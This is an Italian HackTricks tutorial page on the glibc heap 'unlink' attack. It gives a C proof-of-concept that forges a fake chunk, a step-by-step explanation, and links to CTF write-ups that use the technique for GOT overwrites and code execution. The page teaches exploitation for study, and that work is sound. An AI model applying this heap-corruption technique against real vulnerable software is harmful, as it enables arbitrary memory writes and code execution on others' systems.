10 KiB
Attacco Unlink
Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Informazioni di Base
Quando questo attacco è stato scoperto, permetteva principalmente un WWW (Write What Where), tuttavia, sono stati aggiunti alcuni controlli rendendo la nuova versione dell'attacco più interessante e più complessa e inutile.
Esempio di Codice:
Codice
```c #include #include #include #include// Altered from d778318b6a/assets/files/unlink_exploit.c
to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* L'attacco non funziona se vengono utilizzati i tcaches (dopo la versione 2.26)
### Obiettivo
Questo attacco permette di **cambiare un puntatore a un chunk in modo che punti a 3 indirizzi prima di se stesso**. Se questa nuova posizione (intorno a dove si trovava il puntatore) contiene informazioni interessanti, come altre allocazioni controllabili / stack..., è possibile leggerle/sovrascriverle per causare danni maggiori.
* Se questo puntatore si trovava nello stack, poiché ora punta a 3 indirizzi prima di se stesso e l'utente potenzialmente può leggerlo e modificarlo, sarà possibile estrarre informazioni sensibili dallo stack o addirittura modificare l'indirizzo di ritorno (forse) senza toccare il canary
* Negli esempi di CTF, questo puntatore si trova in un array di puntatori ad altre allocazioni, pertanto, facendolo puntare a 3 indirizzi prima e potendo leggerlo e scriverlo, è possibile fare in modo che gli altri puntatori puntino ad altri indirizzi.\
Poiché potenzialmente l'utente può leggere/scrivere anche le altre allocazioni, può estrarre informazioni o sovrascrivere nuovi indirizzi in posizioni arbitrarie (come nella GOT).
### Requisiti
* Un certo controllo in una memoria (ad esempio, stack) per creare un paio di chunk assegnando valori ad alcuni degli attributi.
* Leak dello stack per impostare i puntatori del chunk falso.
### Attacco
* Ci sono un paio di chunk (chunk1 e chunk2)
* L'attaccante controlla il contenuto di chunk1 e gli header di chunk2.
* In chunk1 l'attaccante crea la struttura di un chunk falso:
* Per aggirare le protezioni, si assicura che il campo `size` sia corretto per evitare l'errore: `corrupted size vs. prev_size while consolidating`
* e i campi `fd` e `bk` del chunk falso puntano dove il puntatore di chunk1 è memorizzato con offset di -3 e -2 rispettivamente in modo che `fake_chunk->fd->bk` e `fake_chunk->bk->fd` puntino alla posizione in memoria (stack) dove si trova l'indirizzo reale di chunk1:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Gli header del chunk2 vengono modificati per indicare che il chunk precedente non è utilizzato e che la dimensione è la dimensione del chunk falso contenuto.
* Quando il secondo chunk viene liberato, avviene lo scollegamento di questo chunk falso:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* In precedenza è stato fatto in modo che `fake_chunk->fd->bk` e `fake_chunk->fd->bk` puntassero allo stesso posto (la posizione nello stack dove `chunk1` era memorizzato, quindi era una lista concatenata valida). Poiché **entrambi puntano alla stessa posizione**, solo l'ultimo (`fake_chunk->bk->fd = fake_chunk->fd`) avrà **effetto**.
* Questo sovrascriverà il puntatore a chunk1 nello stack con l'indirizzo (o byte) memorizzato 3 indirizzi prima nello stack.
* Pertanto, se un attaccante potesse controllare nuovamente il contenuto del chunk1, sarà in grado di **scrivere all'interno dello stack** potenzialmente sovrascrivendo l'indirizzo di ritorno saltando il canary e modificando i valori e i puntatori delle variabili locali. Anche modificando nuovamente l'indirizzo di chunk1 memorizzato nello stack in una posizione diversa dove, se l'attaccante potesse controllare nuovamente il contenuto di chunk1, sarà in grado di scrivere ovunque.
* Notare che ciò è stato possibile perché gli **indirizzi sono memorizzati nello stack**. Il rischio e lo sfruttamento potrebbero dipendere da **dove sono memorizzati gli indirizzi del chunk falso**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Riferimenti
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Anche se sarebbe strano trovare un attacco di unlink anche in un CTF, ecco alcuni writeup in cui è stato utilizzato questo attacco:
* Esempio di CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* In questo esempio, invece dello stack c'è un array di indirizzi malloc'ati. L'attacco di unlink viene eseguito per poter allocare un chunk qui, quindi essere in grado di controllare i puntatori dell'array di indirizzi malloc'ati. Poi, c'è un'altra funzionalità che consente di modificare il contenuto dei chunk in questi indirizzi, il che consente di puntare gli indirizzi alla GOT, modificare gli indirizzi delle funzioni per ottenere leak di libc e RCE.
* Altro esempio di CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Proprio come nel precedente esempio, c'è un array di indirizzi di allocazioni. È possibile eseguire un attacco di unlink per far sì che l'indirizzo della prima allocazione punti a poche posizioni prima dell'inizio dell'array e sovrascrivere quindi questa allocazione nella nuova posizione. Pertanto, è possibile sovrascrivere i puntatori di altre allocazioni per puntare alla GOT di atoi, stamparla per ottenere un leak di libc e quindi sovrascrivere atoi GOT con l'indirizzo di un one gadget.
* Esempio di CTF con funzioni malloc e free personalizzate che sfruttano una vulnerabilità molto simile all'attacco di unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* C'è un overflow che consente di controllare i puntatori FD e BK del malloc personalizzato che verrà liberato (personalizzato). Inoltre, l'heap ha il bit exec, quindi è possibile estrarre un indirizzo dell'heap e puntare una funzione dalla GOT a un chunk dell'heap con un shellcode per eseguire.
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>